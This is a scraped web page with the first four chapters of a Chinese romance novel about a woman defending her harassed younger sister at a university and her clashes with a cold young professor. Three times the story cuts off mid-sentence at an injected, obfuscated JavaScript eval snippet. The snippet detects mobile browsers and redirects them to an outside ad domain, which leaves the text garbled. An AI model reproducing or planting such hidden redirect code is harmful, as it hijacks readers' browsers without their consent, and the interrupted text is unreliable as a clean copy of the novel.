《请让我将你留住》 1. 01 季品诚只是回办公室拿份实验报告。 人还没走到办公室门口,脚步先被迫停了下来。 有人在里面吵架,声音还挺大的。 办公室的门没有关死,露出一条极小的缝,季品诚犹豫了几秒要不要推开。 他没有喜欢听墙角的习惯,也讨厌面对这种场面,但考虑到实验报告下午就要用到,他还是先敲了敲办公室的门,然后再伸出手推开。 门开的时候,里面的声音也在瞬间停了下来。 办公室里只有两个人,一个是季品诚的同事,天文学院的教授张峰,他脸上还有没有消散的怒气,在见到季品诚的刹那稍微收敛了些。 他皮笑肉不笑地冲季品诚打了声招呼:“季教授。” 季品诚看了他一眼,脸上没有多余的表情,语速也有点快:“我拿个报告,你们继续。” 张峰是知道季品诚的,他为人冷淡,一向不喜欢多管闲事,除了必要的工作,哪怕在一个办公室,他和同事之间也很少交流。 季品诚走向办公桌的路被站在张峰对面的女人挡住,这个女人是背对着他的,个子很高。 他的嗅觉一向很灵敏,他闻到了这个女人身上的烟味。 一种带有玫瑰花香的烟味。 季品诚自己不抽烟,也讨厌烟味,这种混合着花香的烟味更是让他觉得腻人。 他的眉头不自觉地皱了起来:“麻烦让一下。” 晏迎听出了身后男人语气的不耐烦,她没有立马让路,而是回头对上了季品诚的眼睛。 那是一双没什么感情的眼睛,在银框眼镜的映射下,更衬托得像是墨玉,冷冰冰的,看久了会觉得幽深不见底。 空气凝固了几秒,季品诚的眉头越皱越深。 晏迎弯弯唇角笑了笑,然后侧身给季品诚让出了一条道。 季品诚在与她擦肩而过的瞬间,只觉得她身上的玫瑰香烟味比之前更加浓烈了。 像是玫红色的雾气幻化成一条灵敏的鲜艳小蛇,从他扣好的衬衫袖口找到一丝缝隙钻了进去。 那滋味侵略着他,让他感到不快。 现在他只想快点离开这里。 晏迎一贯是个很会察言观色的人,她清楚地从这个男人的脸上看出了对自己的讨厌。 现在她自个也在气头上,连带着对这间办公室的人,都没有什么好感。 她对着张峰露出一个讽刺的笑,话里话外却直指季品诚。 “张教授,你们办公室的风水是有什么问题吗,感觉里面的人都煞气好重啊。” 季品诚拿报告的手顿了一下,他虽然不太听得懂弯弯绕绕的话,但也明白她是在说自己。 他感觉那只爬进他衣服里的小蛇,咬了他一口。 张峰想说什么又咽了下去,他斜着眼睛瞟了一眼季品诚,害怕季品诚生气。 季品诚的视线直接略过了他们,快步走出了办公室。 无聊,季品诚在走出办公室的时候翻了一个白眼。 晏迎侧目,目送他的离开,眼神里多了几丝玩味。 张峰等季品诚走后把门关好,办公室里又只剩下他们两个人,气氛比原来更压抑了。 晏迎的视线转移到张峰脸上,她挑眉,笑里明显藏刀:“你这边这么说?” 张峰咬了咬自己的后槽牙,他克制住自己心底的火气,清了清嗓子道:“晏远家长,你和我说的问题我都明白了,我会处理好这件事的。” “行,”晏迎不再看他,但语气比刚在还要强硬,“希望您真的可以处理好,要不然我下次再来,可没那么好说话。” 张峰冷哼一声,算作回应。 晏迎走出办公室之前还特意加了一句:“您也别想着给晏远偷偷摸摸穿小鞋,要不然这事更加没完。” 等她的身影彻底消失不见,张峰才抬头,冲着门的方向低声骂了一句。 出了天文学院的大门,一阵冷风扑面吹来,晏迎才觉得舒服了点。 她呼出一口气,想要平复一下心情。 晏远坐在路边长椅上一直焦急地等她出来,看到她迎风站立的身影,连忙向她小跑过来,嘴里喊道:“姐,张教授他没有为难你吧。” 晏迎咧嘴冲妹妹笑了笑,脸上神色轻松,像是处理好了一件很小的事情。 “没有,你放心吧,姐姐肯定不会再让这件事困扰你了。” 晏远看着她的笑,突然有些心酸。 她抿着嘴,垂下眼睛小声道:“又麻烦姐姐了。” 晏迎用拇指和中指圈起来,轻轻弹了一下晏远的额头:“再说这种客气的傻话就要被姐姐打屁股了。” 晏远“噗嗤”一声笑了,她压下心中的担忧和焦虑,拉着晏迎的手晃了晃:“走啦姐姐,不是说今天晚上带我去吃好吃的吗?” “走吧,你想吃什么都可以。” “那就火锅。” 当晏迎被妹妹拉着走的时候才感觉到自己的小腿有点疼,是踢门踢的。 踢的就是张峰办公室的那扇门。 没办法,著名学者张峰教授太高高在上了,不肯见她这种小人物,也不愿意解决实际发生的问题。 她只好采用这种办法。 当那扇门被晏迎一脚踹开的时候,她几乎感受不到痛觉,她只觉得心底有股火在燃烧。 张峰想要拿出手机打电话叫保安,她也手疾眼快地抢了过来,狠狠倒扣在桌面上。 手机屏幕碎没碎晏迎不知道,但是她的手掌心在发麻。 晏远见姐姐走在路上一直不说话,心里有点发怵,她摇了摇姐姐的手:“姐,你在想什么,还在想我的事情吗,姐姐我...” 晏迎缓过神来,笑着牵紧了妹妹的手:“我在想啊,南城大学附近有没有什么好吃的火锅店。” “绝对有!姐姐你跟着我走就对了!” 晏远推荐的火锅店离南城大学也就两百米的距离,还没到饭点的高峰期,所以人不是很多,没有要排队。 锅底是热气滚滚的番茄锅,切好的毛肚垫着一层结实的碎冰端了上来。 新鲜的毛肚烫十秒就可以吃了,一盘的量不多,很快就吃完了。 晏远又开始把牛肉卷和午餐肉倒进锅里,晏迎则看着只剩下碎冰的盘子发呆。 透明冒着寒气的冰,让她想到了今天遇见的那个男人。 他皱眉看向她的时候,比冰更冷漠疏离,甚至还带有一丝不加掩饰的厌恶。 晏迎在心里冷笑了一声。 晏远隔着白色的热气给她夹了一筷子牛肉卷:“姐,你别发呆呀,快点吃,再不吃这牛肉就要老啦。” “好。” 晏迎细嚼慢噎吃下了碗里的牛肉卷,她这次调的小料辣椒油放多了,现在被辣的脸红。 她觉得自己的耳朵在发热,心底也被灼烧。 晏迎犹豫了几秒,还是开口了。 “小远,张峰的办公室里是不是还有一个教授,看着挺年轻的。” 晏远一下子就明白了姐姐说的是谁。 “姐,你说的是季教授吧,他可厉害了,是我们学院,哦不,全南城最年轻的副教授,今年也才二十六岁。” 二十六岁?晏迎咀嚼的速度一下子放慢了,他只比自己大一岁。 晏迎接着妹妹的话往下说:“嗯,确实挺年轻的。” 她放下筷子又点了两盘妹妹爱吃的菜,用着开玩笑的语气说:“这么年轻就是副教授?八不成是哪里来的关系户。” 晏远看姐姐一眼,听出了她话里的不对劲:“姐,你今天也遇到季教授了?” “和张峰教授友好沟通的时候他正好进来拿东西。” 晏远点点头,冲她眨眨眼睛:“姐,你是不是对季老师的第一印象不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111844|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太好啊?” 晏迎默认了这句话,她冲妹妹笑道:“嗯,没事,你们那位季老师也对我的第一印象不太好。” “姐你别把季老师放心上,他这人就这样,对谁都公事公办冷这一张脸,上他的课谁也不敢开小差玩手机不认真听课,因为他真的不给情面,出的卷子可难了而且批试卷的时候根本不会放水。” 晏迎长长的“哦”了一声:“看来年纪轻轻还是个严师。” “但季老师也是真的厉害,姐,不信你去上网搜他的名字,他的人生履历简直完美到挑不出毛病。” “他叫什么名字?” “季品诚,季节的季,品质的品,诚实的诚。” 晏迎觉得这名字还挺好听的。 “我才不去搜他呢,你姐姐我对这种古板冰山男一点兴趣都没有。” “确实,”晏远喝了一口饮料笑着说,“要是季老师这种类型的人成为了我姐夫,天呐,想想都恐怖。” 晏迎冷哼一声:“放心,绝无可能。” 吃完火锅,晏迎又带着晏远去附近精品店买了条暖和的羊毛围巾。 晏迎让店员帮忙把吊牌剪掉,出了门就直接围在了晏远的脖子上。 晏远的目光停在晏迎的手上:“姐,天气越来越冷了,你出门最好带手套,不注意保暖的话,冻疮发作的就越厉害,还有啊,出现一个小冻疮的时候你就得坚持涂药膏,别三天打鱼两天晒网,懒得涂只会更严重。” 晏迎笑了:“小唐僧。” “姐,你可比孙猴子还不听话。” “放心,”晏迎看向妹妹那双和自己相似的眼睛,“我会照顾好自己,你也是,小远,有什么事情一定要和姐姐说,不要自己一个人扛着。” 晏迎的语气变得严肃:“如果他再来骚扰你,你就告诉姐姐,别自己一个人忍着。” 晏迎把妹妹一直送到了宿舍楼下。 楼下的宿管正在洗碗,她抬头看一眼晏远笑道:“呦,这次张教授家的公子没送你回来?” 晏远自顾自地走着,只当做没有听见这句话。 宿管笑了笑:“现在的小姑娘就是不知好歹,上赶着送上来的好日子都不要。” “这好日子你喜欢你过去呗。” 一句话让晏远和宿管同时转过头,晏迎站在宿舍大门外面,冷不丁地来了一句。 宿管重重放下手里的碗,只当她也是这里的学生:“你这小姑娘几个意思?” “字面意思。”晏迎笑了笑。 她不想和宿管多纠缠,转头对妹妹说:“晚上不要熬夜,早点睡觉。” 晏远冲姐姐挥挥手:“好,姐姐你也早点回去。” 晏远回宿舍的时候,其他三个人也都在。 她一开门,大家的目光都集中在了她的身上。 “晏远,你这新围巾挺好看的。” “谢谢。” 赵芸忽视了她的冷淡,继续热切地问道:“是不是张少爷送你的呀,我也喜欢,你帮我要个链接或者店铺呗。” 晏远停下来了手里的动作,很冷静地看着她,没有说话。 陈茜茜低头背单词,假装什么也没看见。 许玲瑶和晏远的关系倒还不错,她放下手里的杂志,打圆场道:“赵芸你别乱说,这围巾就不能是晏远自己买的啊。” 赵芸吃了口从小吃街打包来的臭豆腐,话里话外阴阳怪气的。 “哈哈,我看着这围巾挺贵的样子,不像是晏远自己舍得买的。” 晏远把自己放在桌子上的保温杯去卫生间洗一遍又接满热水,她出来的时候回答了赵芸的问题。 “第一,这围巾是我姐姐买给我的,和那个姓张的一点关系也没有。” “第二,”晏远看了眼赵芸桌子上的臭豆腐,又看了眼赵芸,“麻烦你吃完臭豆腐记得刷牙,要不然会嘴臭的。” 2. 02 季品诚忙完的时候天都黑了。 他脱下实验室的白大褂,看了一眼腕间的手表,准备去食堂看看还有没有什么吃的可以对付一口。 实验室通往食堂有两条路,一条路在操场附近,人特别多,不少学生都在这条路上遛弯约会。 另外一条路倒是偏僻,连着南城大学的地下停车场。 季品诚一向是走第二条路的,他这个人有些孤僻,不喜欢热闹,路上遇到认识的学生和他打招呼,他也觉得局促不舒服。 除了工作之外的一切社交,对他而言都是负担和麻烦。 可偏偏这种负担和麻烦又像是空气一样无法避免。 季品诚一直在尽自己最大的努力克服。 那条路上的路灯,在今天坏掉了,季品诚打开手机的手电筒看路。 晏迎特意找了一个没人的地方打算把手上的烟抽完了再走。 烟刚抽到一半,就觉得有一阵强光晃了一下自己的眼睛。 那光顿了顿,立马从她的方向移开,季品诚也没有想到这里会有一个人,这个人还是自己下午遇到的那个女人。 晏迎睁开眼睛,看到了季品诚的脸,她也愣住了。 季品诚的目光短暂和她对视了几秒,便移开继续去看前面的路。 小路其实不宽,还有点窄,所以晏迎在季品诚路过自己的时候,吐出了一口烟雾。 然后她满意地听到了季品诚的咳嗽声。 再次对视的时候,晏迎一脸无辜地道歉:“对不起啊,季老师。” 季品诚面无表情,不再去看她,脚下的步子越走越快。 他只想离她远点。 晏迎无所谓地灭了烟扔在垃圾桶里,她目送他的背影越走越远,直到消失在路的尽头。 她刚刚抽烟的时候查过他的资料了,他的履历确实完美到无话可说,但越是这样,晏迎越觉得他奇怪。 她想起妹妹把他归结于不善社交和为人冷淡,晏迎却觉得没这么简单。 很多高智商的天才,都有着不为人知的心理疾病。 季品诚被她这么一搅合也没了什么吃饭的心情,便利店买了个三明治凑合了一顿。 他甚至觉得自己身上都被那股玫瑰香的烟味缠绕,回家要好好洗个澡,衣服也要反复洗几遍去去烟味。 季品诚有重度洁癖,尤其讨厌酒味,烟味还有过重的香水味。 家里的阿姨知道他挑剔,每次打扫都格外细致,连一根头发丝都不放过。 阿姨也是心甘情愿的,毕竟季品诚支付她一笔超过市价十倍不止的薪水,对卫生的要求高点也不过分。 季品诚今天洗澡洗了三遍,衣服则直接丢在了垃圾桶里不要了。 阿姨倒对他的举动并不惊讶,已经习以为常。 每次季品诚参加一些不得不去的聚会,他回家的时候也是这样的。 要是再严重点,比如进行了太多不得已的社交和肢体触碰,他甚至会产生生理性呕吐。 季品诚洗完澡的时候,阿姨已经在客厅给他倒好了一杯三十五摄氏度的温水让他服药。 三十五摄氏度,这是季品诚觉得最适宜的水温。 季品诚吃完药的时候才觉得自己稍微好了一点,他冲阿姨点点头:“谢谢苏姨,您也早点休息吧。” 苏阿姨关切地看他一眼:“季教授,你今天怎么了?” 季品诚的脑海里快速闪过晏迎的脸,他回答:“遇到了一个奇怪的人。” 苏阿姨没有再问下去,她自己觉得季品诚才是“奇怪的人”,能被季品诚说奇怪那肯定很正常。 季品诚的生活是很有规律的,雷打不动看完三个小时的文献之后,他就准备睡觉。 拉窗帘的时候,他看了看外面的天,今天的月亮弯弯的像小船。 但他不是在赏月,他是在观察。 今天月亮升起的时间比前一天晚了四十九分钟,月亮的月相也发生了变化。 月牙处于上弦阶段时,太阳的位置也最好容易判断。 无数条线段构建在季品诚的脑子里,最后成为一条射线,指向明天太阳会出来的位置。 明天太阳会在早上六点三十五分升起。 季品诚拉好窗帘,安心入眠。 晏迎洗完澡之后继续趴在电脑桌上浏览关于季品诚的网页。 他从小到大的比赛经历都有,无一不光鲜亮丽。 他每次都能轻松拿下最高荣誉,在十四岁就进入顶尖学府学习。 关于他获奖的照片却并不多,只有一张,还是模糊的。 晏迎透过那张模糊的照片,从他紧抿的唇角,无神的眼睛里感受到了不安和局促。 晏迎代入了一下他的视角,想象了一下,季品诚这种人被鲜花掌声摄像头环绕,确实不紧张才怪。 她的好奇心愈发旺盛了,点击鼠标试图去搜索关于他的其他事迹。 什么也没有搜索出来。 晏迎关掉电脑,打了一个哈切,发现妹妹这个点居然还在线。 她发了一个打屁股的表情包过去:“被我逮到还没有睡觉了吧。” 晏远回复得很快:“没事姐,我明天上午没课。” 晏远躺在宿舍的床上,听着赵芸外放的打游戏连麦声越来越大,陈茜茜则是一边敷面膜一边和男朋友打视频电话,也没带耳机。 两种声音免提似得在宿舍里回荡,许玲瑶戴着耳塞在窗帘里不做声,她不喜欢和人起冲突,尤其是赵芸脾气还不好。 但耳塞的作用其实并不大,还是可以听得很清楚。 晏远被这种声音折腾得都快要精神衰弱了。 “快睡吧小远。” “好,姐。” 结束了和晏迎的对话,晏远掀开了床帘,她的声音不算大,但足够让在场的每一个人听得清清楚楚。 “现在已经是晚上十一点四十五分了,能不能小声点,别人还要睡觉。” 陈茜茜和视频里的男朋友告别:“我舍友嫌弃我吵呢,明天再找你。” “你们宿舍连打个电话也不可以吗?” “有可能人家是公主吧。” 关掉视频电话陈茜茜沉默地上床。 赵芸没有回头看晏远,她继续在打游戏,也不熄灯。 “这是集体宿舍,又没有规定这个点必须熄灯安静,有公主病就别住宿。” “诶,”赵芸突然又回头看她,“张浩家不是在学校附近有一套别墅吗,人家现在死心塌地追你,你要是答应了,住在大别墅里不就好了吗?” “人家的爸爸还是咱们学院的教授,过几年听说还要升职为副院长,恭喜啊,晏远。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111845|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晏远笑了,她这点和姐姐晏迎很像,极度生气的情况下,不是哭泣也不是发怒,而是笑。 “赵芸,我不喜欢他,也不想和他牵扯上任何的关系,他的追求对我来说是种骚扰,我不知道你从哪里来的这么大的恶意。” 赵芸摔了一下键盘:“你装什么清高呢。” 晏远觉得自己简直是在鸡同鸭讲,她别过头:“那我祝你也被不喜欢的人一直骚扰,他天天做着自我感动的事充斥在你的生活里。” “也祝你遇见一个追不到你,就一直死缠烂打还在狐朋狗友面前造谣你的人。” 许玲瑶的床帘也掀开了:“好了好了,不要再吵了,大家都是舍友......” 赵芸的声音很大:“你少在这里和稀泥,最烦她这种天天特清高的人。” 一股气在晏远的心里爆发了,但是她的声音还是冷静的。 “人也要有一定的资格才能清高,你这种天天不务正业只知道打游戏,上课找人代课,考试需要花钱才能过的人当然清高不了了。” 赵芸关掉电脑爆了句粗口,她拿起桌子上的可乐,泼在了晏远的床上。 这场闹剧还是闹到了班主任和辅导员那里。 晏远之前为着张浩对她死缠烂打的事情就来找过班主任和辅导员,但得到的结果是年轻人之间的感情问题老师不处理。 那会晏远不服气:“他在学院的大群里造谣我和他睡过了,老师你也不管吗?” 办公室的目光都聚焦在了晏远身上,带着明显的不可思议。 “苍蝇不叮无缝的蛋,晏远同学你也要反省一下自己,其他同学怎么没这样的事情发生。” “再说了,人家是教授的儿子,高素质家庭培养出来的小孩怎么可能干这种事情。” 晏远把老师的原话告诉晏迎的时候,晏迎是背对着她的。 她看不见晏迎的表情,但她不用看也知道晏迎在生气。 特别生气。 “没事,”晏迎的声音冷得像一条冻成冰的线,“我去和你们张峰教授好好沟通一下就好。” 现在,又为着和赵芸起冲突的事情,双方都被请了家长。 晏远被罚站在办公室的角落,想着早知道就不要冲动了,又要麻烦姐姐来一趟南城大学。 老天爷,姐姐昨天才来过,今天又要来... 自己从小到大都没让姐姐操心过,怎么反而长大了上了大学就成了“问题小孩”了。 晏迎接到电话来的时候,赵芸的父母已经怒气冲冲地站在办公室里要求班主任和辅导员还赵芸一个公道了。 晏远还在被罚站,但她和赵芸形成了明显的对比。 赵芸坐在一边哭的梨花带雨,而晏远则是无聊地看着老师办公桌上的玩偶摆件发呆。 晏迎笑了,她冲妹妹的方向清了清嗓子。 “姐,你来啦!”晏远的眼睛里有惊喜也有愧疚。 老师和赵芸的父母则是一起把视线都聚焦在了晏迎身上。 赵芸的妈妈开口:“老师,我要请的是晏远的父母来,而不是请这个黄毛丫头来凑人头,她年纪轻轻的算是哪门子家长?” 晏远面无表情地“哦”了一声:“我们的父母在晏远六岁的时候就都死了,我现在是她法律上唯一的直系亲属,有什么事情都和我说吧。” 3. 03 办公室里还是有其他老师在的,班主任怕事情又闹起来,转移了战地。 一个靠着厕所的小教室正好没人,那里是社团学生讨论活动方案的小场地,常年都空着。 这个小教室的门坏了,关不了,只能半开着。 赵芸的妈妈上下打量了一眼晏迎:“难怪晏远这么没家教,原来是没爸没妈的孩子。” 晏远被这句话里气得发抖,晏迎站在她身前握住了她颤抖的手。 晏迎脸上还是一副轻松的表情,这话对她也造不成什么实质性的伤害。 她从小听习惯了。 她微笑:“拜托,是赵芸大半夜不睡觉连麦外放打游戏,也是赵芸在和我妹妹发生口角之后拿可乐泼我妹妹的床,到底是谁没家教,她这有爸有妈的还不如没爸没妈呢。” “你!”赵芸爸爸冲到晏迎面前,但是被班主任拦住了。 “赵芸家长你消消气。” 晏迎还是微笑的表情:“怎么,恼羞成怒了就想动手打人啊,现在是法治社会,你动我们一下我今天就直接报警了。” 听到“报警”这两个字班主任的雷达又开始动了。 “别,晏远家长,咱们有话好好说,孩子之间有矛盾很正常,不要把事情闹大。” “可是我觉得不把事情闹大了你们根本不会好好解决,要不是我踹了张峰的门,现在他儿子还在骚扰我妹妹呢。” 这话说完晏迎露出了恍然大悟的表情:“诶,赵芸,听说你总拿张浩的事情阴阳怪气我妹妹,你是不是对那个头脑简单四肢也简单,靠着家里才勉强混个大学上的二流子富二代感兴趣啊?” 晏迎看了看赵芸父母的打扮,点头道:“还真别说,什么锅配什么盖,道貌岸然高知家庭和没素质暴发户确实般配。” 晏远在后面默默听着,觉得要是姐姐和赵芸在一个宿舍里得天天世界大战。 然后每次以赵芸战败作为告终。 赵芸妈妈咬牙切齿,想要冲上来打晏迎。 晏迎闭上眼睛:“来吧,你碰我一下没个十万八万我不会从地上起来的。” 班主任只觉得自己一个头两个大,他努力安抚赵芸父母的情绪,一边劝晏迎少说几句。 赵芸擦了把眼泪:“我就连麦外放打游戏怎么了,也没规定那个点必须睡觉啊。” 晏迎哈哈大笑:“半夜都十二点了舍友都上床了还不能安静啊,那照你这么说你们宿舍几点睡觉还得按你的游戏结束时间来?能不能有点德行,你也是成年人了,长个子的时候是不是忘记长脑子了?” 说完晏迎叹了口气:“唉,上梁不正下梁歪,歹竹果然生不了什么好笋来。” 赵芸又哭了起来。 晏远受不了她了:“在宿舍拿可乐泼我的床的时候不是挺厉害的吗?现在人多了就不豪横知道装可怜哭了,哭吧,哭吧,你家的好运气都被你哭走了。” 季品诚觉得遇到她真的是件特别神奇的事情。 他每次路过都能听到这个女人和别人吵架。 昨天是和张峰吵,今天看起来是和其他学生的家长吵。 昨天她和张峰吵架的时候他没听见,但这次他听的一清二楚。 他觉得这个女人的精力非常适合搞学术,居然连续两天来学校里和别人大吵一架。 季品诚抱着电脑感叹,要是组里的那些研究生有她这种精气神就好了。 这场闹剧最后以晏迎给妹妹办理退宿手续收场。 宿舍里的东西不算很多,晏远一个下午就都打包好了。 她收拾东西的时候只有许玲瑶关切地问了一句:“晏远你要去哪啊?” 晏远也很潇洒,把行李箱拉链一拉回答道:“我姐姐带我退宿了,我改走读。” 许玲瑶还有点舍不得她:“好吧再见。” 晏远看了她一眼:“苦了你了,还要和她们继续住一起。” 许玲瑶讪讪道:“算啦,大家都是舍友,忍忍也就过去了。” 晏远在关上宿舍的门之前对许玲瑶说了最后一句话。 “我不这么认为,我姐姐说了,人就活一辈子,能不受的委屈坚决不能受。” 晏迎在宿舍楼底下帮晏远把东西都搬到了车上,她冲晏远晃了晃手里住宿改走读的单子:“这就叫效率。” 晏远直接钻晏迎怀里:“姐!你简直就是我的救世主。” “不至于,”晏迎笑了,“我就是见不得有人天天阴阳怪气你以及拿可乐泼你床。” “那姐姐,我接下来是住在家里吗?” 南城房价还挺贵的,晏迎也才刚出来工作几年,还要供妹妹上大学,没有买房的经济能力。 她一直都是租房,但现在租的房子离南城大学有点远,晏远上学和放学都不太方便。 但这也好解决。 晏迎拍了拍妹妹的肩膀:“姐姐会在南城大学附近再租一间房子的,这样你也方便些。” “姐,那咱们现在租的房子呢?” “没事儿,现在租的房子月底也该到期了,我和房东说一下就不续租了。” 晏迎决定今天晚上就找好新的出租屋。 “对了小远,你下午有课吗,没课的话姐姐带你先把东西放回家然后我们出去逛街。” 特别巧,昨天晏远是下班来南城大学找张峰,今天则是正好休息。 晏远叹了一口气,指了指自己装着专业书和笔记本的书包:“姐,我下午四节专业课,而且还都是季老师的课。” 晏迎“啧啧”两声:“居然是那个大魔头的课。” “哈哈哈,姐姐你为什么叫季老师大魔头?”晏远还是第一次听见有人这么形容季品诚。 “没什么,”晏迎挑眉,“我夸你们季老师聪明呢。” 中午的午饭晏远拿饭卡请姐姐在食堂解决的。 学生食堂的饭其实味道不咋地,有很多都是料理包做成的预制菜。 所以晏远拉着姐姐偷摸来到了教师食堂吃饭。 老师们对于学生来吃饭这件事已经见怪不怪了,只是食堂大爷好像是一个领导的什么亲戚,惯会见人下碟菜,见到是学生来吃就会手抖少打点菜。 这个点正好是饭点,来吃饭的老师很多。 其中包括晏远的班主任、辅导员以及张峰教授。 晏远端着餐盘,莫名其妙有点紧张,倒也不是怕这些人,就是觉得气氛怪尴尬的。 晏迎当然也注意到了,她用眼神示意晏远坐到角落里的那张桌子上吃饭。 等到她们坐好开动,其他老师都不约而同地看了她们一眼。 因为角落里的那张桌子,是一个社恐的专属吃饭座位,他从来不和其他老师一起吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111846|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭。 有老师想上去提醒一下,却被同事拉住了:“别多管闲事。” 张峰的目光扫过晏迎的脸,端过餐盘坐在了晏远的辅导员对面:“她姐姐怎么又来了?” 辅导员压低了声音,把事情的经过完整地说了一遍。 当然,他也添油加醋地把晏迎形容张浩是“头脑简单四肢也简单,靠着家里才勉强混个大学上的二流子富二代”还有“道貌岸然高知家庭”这几句话告诉了张峰。 张峰的眉头越皱越紧:“简直就是胡说八道。” “张教授消消气,我就说您儿子根本不可能是那种人,说不准是晏远瞎说。” 张峰冷笑了一下:“我儿子我当然清楚,他想要什么女孩找不到啊,怎么会看上这种家庭出来的女孩子。” “就是就是,张教授你看这事情闹的。” “闹就闹吧,”张峰喝了口汤,显然不放在心上,“她闹成什么样子我都能摆平。” 季品诚来吃饭的时候,就看到自己的座位被霸占了。 有好多老师偷偷看季品诚的反应,想看看他会怎么办。 没有人出来说句话的,大家对于季品诚的感情很复杂,即觉得他这种高智商的人厉害,羡慕和嫉妒他天生聪明,不用寒窗苦读就能在学术界有一席之地。 当然也认为人不能过得太好,事事都占好处,他学术上风调雨顺,人际交往里则能让他吃苦头就吃苦头。 这种大家心知肚明默契一直都在,平时也少给季品诚小鞋穿。 但季品诚在社交方面是看不懂这些弯弯绕绕和埋伏的阴招的,他只是觉得这群同事越来越麻烦了。 现在,季品诚端着餐盘在万众瞩目之下走向了那张桌子。 他打菜的时候简单思考了一下,要么和晏迎一张桌子,要么和其他人一张桌子。 季品诚最后选择了和晏迎一张桌子。 他判定的标准也很简单。 第一,晏迎今天没抽烟,身上没烟味,虽然喷了香水但是不重,是好闻的柑橘味,和他家里厕所的空气清新剂的味道有点类似,季品诚并不排斥这个味道。 其他男老师身上长年累积的烟味会让季品诚觉得他们都是行走的尼古丁。 季品诚一度觉得如果把他们的肺解剖出来一定又黑又臭。 第二,和晏迎一张桌子的话,是三个人一起吃饭。 如果和他们坐一块就是七八个人一起吃饭了。 季品诚坐在晏迎对面的时候,她和晏远都同时停下了吃饭的动作。 晏远有点尴尬地打招呼:“季老师好。” 季品诚点点头表示回应。 晏迎也学着晏远和他打招呼:“季老师好。” 季品诚也冲她点点头。 晏迎注意到,他点头的频率都是一样的,都是三秒内两下。 “哎呀,这是季教授的专属座位,今天怎么被别人坐了。”有人看向季品诚,声音不高不低,正好晏迎那里可以听清楚。 “就是啊,怎么校外的社会人员也能来教师食堂吃饭。” “下次开班会得要好好讲讲了,一些学生别把家长往教师食堂带。” 晏迎有点无语,她刚坐在这里的时候没人说,现在饭吃了一半了,季品诚过来了,这些人开始了。 服了,明显就是故意的。 4. 04 晏远这才意识到这张桌子是季品诚一个人吃饭的地方,她冲季品诚道歉:“不好意思啊季老师。” 季品诚停下吃饭的动作,他很认真地回答:“这桌子不是我的,是学校购买的,我不是它的物权所有者,我只是习惯坐在这里而已,而且教师食堂也没有明令禁止学生和家长不能来吃饭。” 他总结:“所以,这里不是我的专属座位,你们来这里吃饭也不算违规。” 季品诚都发话了,也就没人再说什么了。 他说话的时候晏迎一直在看他,虽然说昨天也见过了,但是这么近距离的看他还是第一次。 他长的是那种五官周正又偏清冷的帅,放电影里头去选角,肯定能被选上港片里一出场就英勇牺牲的白月光阿sir。 晏迎以前觉得好玩学过点怎么给人看面相,季品诚帅归帅,但是吧... 他眉压眼,是个犟种。 嘴唇还是薄唇,啧,不看重感情,利益高于一切。 季品诚被晏迎盯得心里发毛,他回视晏迎的眼睛:“你盯着我看干什么?” 晏迎笑了:“季老师你干嘛帮我说话” “我不是在帮你说话,我只是在陈述事实。” “行吧,”晏迎收回自己停留在他脸上的目光,“我还以为季老师你特讨厌我呢。” “我不是特讨厌你,我是特讨厌你昨天的烟味,”季品诚的语气很真诚,“少抽点烟吧,容易月、经不调。” 晏迎停止了咀嚼,而晏远的筷子像是受到了惊吓“啪”的一声掉在了地上。 晏远赶紧逃离现场去换一双干净的筷子,天呐,这个场面居然可以又尴尬又可怕。 季品诚继续认真地和她科普:“尼古丁容易让血液过快流动,降低雌性激素的分泌量,患上痛经以及泌尿系统疾病。” 晏迎:“......” “还会刺激血管发生收缩,使皮肤供血氧不足,影响正常的新陈代谢加速衰老,所以少抽点烟吧。” 晏迎:“好...” 这顿饭三个人吃得很沉默。 晏远埋头吃饭不敢说话,晏迎还没缓过神来,麻木地往嘴里塞着饭。 季品诚则是单纯不喜欢说话。 走出食堂的时候,晏远拉了拉晏迎的袖子,小心翼翼地问道:“姐,你还好吗?” 晏迎深呼吸一口气:“我挺好的。” 她下意识地拿出包里烟盒子想点支烟,然后又恶狠狠地放了回去:“我戒烟了。” 季品诚刚刚吃完饭从食堂出来,他路过晏迎的时候正好听到了这句话。 他走下三节台阶,又停下脚步回头。 天气转凉,风也变得寒冷,晏迎在冷风里打了一个喷嚏。 季品诚回头对她说:“戒烟需要一个合理的周期性,你先从减少抽烟频率开始吧,烟瘾犯了的时候可以通过咀嚼口香糖来缓解。” 他一本正经的样子,晏迎看在眼里还挺顺眼的。 她冲季品诚弯弯唇角:“知道了,谢谢季老师关心。” 季品诚摇摇头,却不是不客气的意思。 他回答:“我没有在关心你,我只是在针对你的问题提出解决方案而已。” 